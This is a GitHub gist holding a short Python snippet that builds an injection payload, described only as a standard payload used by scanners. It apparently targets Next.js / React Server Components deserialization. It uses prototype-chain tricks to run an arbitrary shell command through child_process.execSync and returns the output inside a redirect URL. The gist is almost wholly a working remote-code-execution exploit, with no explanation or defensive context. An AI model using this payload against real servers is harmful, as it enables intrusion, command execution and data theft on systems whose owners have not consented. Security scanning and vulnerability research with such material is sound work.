Skip to content

Instantly share code, notes, and snippets.

@MattKeeley
Created March 29, 2026 16:52
Show Gist options
  • Select an option

  • Save MattKeeley/1faa12d4a4bc73b0eb9c7e1ef63a93de to your computer and use it in GitHub Desktop.

Select an option

Save MattKeeley/1faa12d4a4bc73b0eb9c7e1ef63a93de to your computer and use it in GitHub Desktop.
# Standard payload used by many scanners
injection = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
f'"var res=process.mainModule.require(\'child_process\').execSync(\'{safe_cmd}\')'
'.toString().trim().replace(/\\\\n/g, \' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment